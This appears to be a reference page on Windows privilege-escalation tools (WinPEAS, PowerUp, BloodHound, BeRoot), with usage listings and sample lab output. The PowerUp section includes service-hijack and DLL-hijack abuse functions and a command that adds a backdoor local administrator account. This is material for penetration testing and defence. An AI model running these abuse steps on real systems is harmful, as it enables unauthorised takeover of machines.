WinPEAS

Description

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts.

Platform	Windows
Author	Carlos Polop
License	GPLv3
URL	https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

Usage

domain               Enumerate domain information
systeminfo           Search system information
userinfo             Search user information
processinfo          Search processes information
servicesinfo         Search services information
applicationsinfo     Search installed applications information
networkinfo          Search network information
windowscreds         Search windows credentials
browserinfo          Search browser information
filesinfo            Search generic files that can contains credentials
fileanalysis         Search specific files that can contains credentials and for regexes inside files
eventsinfo           Display interesting events information

quiet                Do not print banner
notcolor             Don't use ansi colors (all white)
searchpf             Search credentials via regex also in Program Files folders
wait                 Wait for user input between checks
debug                Display debugging information - memory usage, method execution time
log[=logfile]        Log all output to file defined as logfile, or to "out.txt" if not specified
MaxRegexFileSize=1000000        Max file size (in Bytes) to search regex in. Default: 1000000B

Additional checks (slower):
-lolbas              Run additional LOLBAS check
-linpeas=[url]       Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL
                     (default: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh)

Examples

Blog Posts

PowerUp

Description

PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.

Platform	Windows
Author	Matthew Graeber
License	BSD 3-Clause
URL	PowerUp.ps1

Usage

Running Invoke-AllChecks will output any identifiable vulnerabilities along with specifications for any abuse functions. The -HTMLReport flag will also generate a COMPUTER.username.html version of the report.

Token/Privilege Enumeration/Abuse:

Get-ProcessTokenGroup               -   returns all SIDs that the current token context is a part of, whether they are disabled or not
Get-ProcessTokenPrivilege           -   returns all privileges for the current (or specified) process ID
Enable-Privilege                    -   enables a specific privilege for the current process

Service Enumeration/Abuse:

Test-ServiceDaclPermission          -   tests one or more passed services or service names against a given permission set
Get-UnquotedService                 -   returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile           -   returns services where the current user can write to the service binary path or its config
Get-ModifiableService               -   returns services the current user can modify
Get-ServiceDetail                   -   returns detailed information about a specified service
Set-ServiceBinaryPath               -   sets the binary path for a service to a specified value
Invoke-ServiceAbuse                 -   modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary                 -   writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary               -   replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary               -   restores a replaced service binary with the original executable

DLL Hijacking:

Find-ProcessDLLHijack               -   finds potential DLL hijacking opportunities for currently running processes
Find-PathDLLHijack                  -   finds service %PATH% DLL hijacking opportunities
Write-HijackDll                     -   writes out a hijackable DLL

Registry Checks:

Get-RegistryAlwaysInstallElevated   -   checks if the AlwaysInstallElevated registry key is set
Get-RegistryAutoLogon               -   checks for Autologon credentials in the registry
Get-ModifiableRegistryAutoRun       -   checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns

Miscellaneous Checks:

Get-ModifiableScheduledTaskFile     -   find schtasks with modifiable target files
Get-UnattendedInstallFile           -   finds remaining unattended installation files
Get-Webconfig                       -   checks for any encrypted web.config strings
Get-ApplicationHost                 -   checks for encrypted application pool and virtual directory passwords
Get-SiteListPassword                -   retrieves the plaintext passwords for any found McAfee's SiteList.xml files
Get-CachedGPPPassword               -   checks for passwords in cached Group Policy Preferences files

Other Helpers/Meta-Functions:

Get-ModifiablePath                  -   tokenizes an input string and returns the files in it the current user can modify
Write-UserAddMSI                    -   write out a MSI installer that prompts for a user to be added
Invoke-WScriptUACBypass             -   performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
Invoke-PrivescAudit                 -   runs all current escalation checks and returns a report (formerly Invoke-AllChecks)

Examples

getting started

This is how you invoke PowerUp in PowerShell for the first time.

PS C:\tools> import-module .\PowerUp.ps1
 
Security warning
Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your
computer. If you trust this script, use the Unblock-File cmdlet to allow the script to run without this warning
message. Do you want to run C:\tools\PowerUp.ps1?
[D] Do not run  [R] Run once  [S] Suspend  [?] Help (default is "D"): R

Invoke-AllChecks

This will run all the checks available in PowerUp.

PS C:\tools> Invoke-AllChecks
 
[*] Running Invoke-AllChecks
 
 
[*] Checking if user is in a local group with administrative privileges...
 
 
[*] Checking for unquoted service paths...
 
 
ServiceName    : Video Stream
Path           : C:\Program Files\VideoStream\1337 Log\checklog.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'Video Stream' -Path <HijackPath>
CanRestart     : False
 
ServiceName    : Video Stream
Path           : C:\Program Files\VideoStream\1337 Log\checklog.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'Video Stream' -Path <HijackPath>
CanRestart     : False
 
 
 
 
 
[*] Checking service executable and argument permissions...
 
 
ServiceName                     : edgeupdate
Path                            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile                  : C:\
ModifiableFilePermissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'edgeupdate'
CanRestart                      : False
 
ServiceName                     : edgeupdate
Path                            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile                  : C:\
ModifiableFilePermissions       : {Synchronize, AppendData/AddSubdirectory}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'edgeupdate'
CanRestart                      : False
 
ServiceName                     : edgeupdatem
Path                            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc
ModifiableFile                  : C:\
ModifiableFilePermissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'edgeupdatem'
CanRestart                      : False
 
ServiceName                     : edgeupdatem
Path                            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc
ModifiableFile                  : C:\
ModifiableFilePermissions       : {Synchronize, AppendData/AddSubdirectory}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'edgeupdatem'
CanRestart                      : False
 
ServiceName                     : gupdate
Path                            : "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc
ModifiableFile                  : C:\
ModifiableFilePermissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'gupdate'
CanRestart                      : False
 
ServiceName                     : gupdate
Path                            : "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc
ModifiableFile                  : C:\
ModifiableFilePermissions       : {Synchronize, AppendData/AddSubdirectory}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'gupdate'
CanRestart                      : False
 
ServiceName                     : gupdatem
Path                            : "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /medsvc
ModifiableFile                  : C:\
ModifiableFilePermissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'gupdatem'
CanRestart                      : False
 
ServiceName                     : gupdatem
Path                            : "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /medsvc
ModifiableFile                  : C:\
ModifiableFilePermissions       : {Synchronize, AppendData/AddSubdirectory}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'gupdatem'
CanRestart                      : False
 
ServiceName                     : neo4j
Path                            : C:\Tools\neo4j\bin\tools\prunsrv-amd64.exe //RS//neo4j
ModifiableFile                  : C:\Tools\neo4j\bin\tools\prunsrv-amd64.exe
ModifiableFilePermissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'neo4j'
CanRestart                      : False
 
ServiceName                     : Video Stream
Path                            : C:\Program Files\VideoStream\1337 Log\checklog.exe
ModifiableFile                  : C:\Program Files\VideoStream\1337 Log\checklog.exe
ModifiableFilePermissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'Video Stream'
CanRestart                      : False
 
 
 
 
 
[*] Checking service permissions...
 
 
[*] Checking %PATH% for potentially hijackable DLL locations...
 
 
ModifiablePath    : C:\Python27\
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
%PATH%            : C:\Python27\
AbuseFunction     : Write-HijackDll -DllPath 'C:\Python27\\wlbsctrl.dll'
 
ModifiablePath    : C:\Python27\Scripts
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
%PATH%            : C:\Python27\Scripts
AbuseFunction     : Write-HijackDll -DllPath 'C:\Python27\Scripts\wlbsctrl.dll'
 
ModifiablePath    : C:\Tools
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions       : {Delete, WriteAttributes, Synchronize, ReadControl...}
%PATH%            : C:\Tools\SysinternalsSuite
AbuseFunction     : Write-HijackDll -DllPath 'C:\Tools\wlbsctrl.dll'
 
ModifiablePath    : C:\Users\notadmin\AppData\Local\Microsoft\WindowsApps
IdentityReference : SEC560STUDENT\notadmin
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\notadmin\AppData\Local\Microsoft\WindowsApps
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\notadmin\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
 
 
 
 
 
[*] Checking for AlwaysInstallElevated registry key...
 
 
[*] Checking for Autologon credentials in registry...
 
 
[*] Checking for modifidable registry autoruns and configs...
 
 
[*] Checking for modifiable schtask files/configs...
 
 
[*] Checking for unattended install files...
 
 
[*] Checking for encrypted web.config strings...
 
 
[*] Checking for encrypted application pool and virtual directory passwords...
 
 
[*] Checking for plaintext passwords in McAfee SiteList.xml files....
 
 
 
 
[*] Checking for cached Group Policy Preferences .xml files....

Write-ServiceBinary -ServiceName ‘<service name>’ -Path ‘<vulnerable path>’

This command will write the vulnerable path identified in the previous command to the registry entry of the vulnerable service.

PS C:\tools> Write-ServiceBinary -ServiceName 'Video Stream' -Path 'C:\Program Files\VideoStream\1337.exe'
 
ServiceName  Path                                  Command
-----------  ----                                  -------
Video Stream C:\Program Files\VideoStream\1337.exe net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add

Blog Posts

BloodHound

Description

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. As of version 4.0, BloodHound now also supports Azure. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.

Platform	All
Author	@_wald0, @CptJesus, and @harmj0y
License	GPLv3
URL	https://github.com/BloodHoundAD/BloodHound

Usage

https://bloodhound.readthedocs.io/en/latest/index.html

Examples

Graph path from specific user to domain admin

This example shows the path from the ‘yfan_a’ account to the domain admin, by searching using a starting node and ending node (like google maps).

Shortest path to domain admin

This pre-built query shows the shortest path to get domain admin without specifying a starting point.

Blog Posts

beRoot

Description

BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege.

Platform	All
Author	AlessandroZ
License	?
URL	https://github.com/AlessandroZ/BeRoot

Usage

Windows:

|====================================================================|
|                                                                    |
|                    Windows Privilege Escalation                    |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|
 
 
usage: beRoot [-h] [-l] [-w] [-c CMD]
 
Windows Privilege Escalation
 
optional arguments:
  -h, --help         show this help message and exit
  -l, --list         list all softwares installed (not run by default)
  -w, --write        write output
  -c CMD, --cmd CMD  cmd to execute for the webclient check (default: whoami)

Linux:

|====================================================================|
|                                                                    |
|                      Linux Privilege Escalation                    |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

Examples

beRoot (on Windows)

This is the default output of beRoot when run with no other arguments.

|====================================================================|
|                                                                    |
|                    Windows Privilege Escalation                    |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|
 
 
 
################ Service ################
 
[!] Permission to create a service with openscmanager
True
 
[!] Path containing spaces without quotes
permissions: {'change_config': False, 'start': False, 'stop': False}
Name: Video Stream
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Video Stream
Full path: C:\Program Files\VideoStream\1337 Log\checklog.exe
Writables path found:
        - C:\
        - C:\Program Files\VideoStream
 
 
[!] Binary located on a writable directory
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AarSvc
Full path: C:\WINDOWS\system32\svchost.exe -k AarSvcGroup -p
Writable directory: C:\WINDOWS\system32
Name: AarSvc
 
permissions: {'change_config': False, 'start': False, 'stop': False}
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AarSvc_1df1243
Full path: C:\WINDOWS\system32\svchost.exe -k AarSvcGroup -p
Writable directory: C:\WINDOWS\system32
Name: AarSvc_1df1243
 
permissions: {'change_config': False, 'start': False, 'stop': False}
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AJRouter
Full path: C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p
Writable directory: C:\WINDOWS\system32
Name: AJRouter
 
permissions: {'change_config': False, 'start': False, 'stop': False}
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ALG
Full path: C:\WINDOWS\System32\alg.exe
Writable directory: C:\WINDOWS\System32
Name: ALG
...
permissions: {'change_config': False, 'start': False, 'stop': False}
Name: Sense
Writable directory: C:\Program Files\Windows Defender Advanced Threat Protection
Full path: "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
 
 
 
################ Startup Keys ################
 
[!] Registry key with writable access
HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
 
[!] Binary located on a writable directory
Name: SecurityHealth
Key: SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Writable directory: C:\WINDOWS\system32
Full path: %windir%\system32\SecurityHealthSystray.exe
 
Name: VMware User Process
Key: SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Writable directory: C:\Program Files\VMware\VMware Tools
Full path: "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
 
 
 
################ Taskscheduler ################
 
[!] Permission to write on the task directory: c:\windows\system32\tasks
True
 
-------------- Get System Priv with WebClient --------------
 
[!] Checking WebClient vulnerability
 
################ Error on: check_webclient ################
Traceback (most recent call last):
  File "beroot\run_checks.py", line 315, in check_all
  File "beroot\run_checks.py", line 277, in check_webclient
  File "beroot\modules\checks\webclient\webclient.py", line 206, in run
  File "beroot\modules\checks\webclient\webclient.py", line 101, in startWebclient
ValueError: Procedure probably called with not enough arguments (4 bytes missing)
 
 
[!] Elapsed time = 0.729000091553

Additional Details

beroot-1

Blog Posts

Tag: Privilege Escalation